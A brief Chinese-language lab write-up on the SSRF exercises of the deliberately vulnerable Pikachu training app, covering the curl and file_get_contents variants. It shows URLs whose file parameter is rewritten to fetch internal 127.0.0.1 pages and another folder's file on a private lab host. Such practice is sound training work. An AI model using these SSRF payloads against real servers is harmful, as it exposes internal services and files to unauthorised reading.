皮卡丘(pikachu)SSRF

SSRF(curl)

点击读诗

这里我遇到一个问题，是因为一般默认都是80端口，而我设置了一个8008端口，所以报404的错，这里将后面的127.0.0.1加上“:8008”即可

观察URL，发现可以把URL改成其他的地址和端口

这里我们修改一下端口号

访问

SSRF(file_get_content)

点击读诗

file_get_content可以对本地和远程文件进行读取

比如我们可以在这里读上一首诗，将

http://10.8.220.185:8008/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:8008/pikachu/vul/ssrf/ssrf_info/info2.php改为

http://10.8.220.185:8008/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:8008/pikachu/vul/ssrf/ssrf_info/info1.php

再读一个别的文件夹下的文件

http://10.8.220.185:8008/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:8008/pikachu/vul/dir/123.txt

读取成功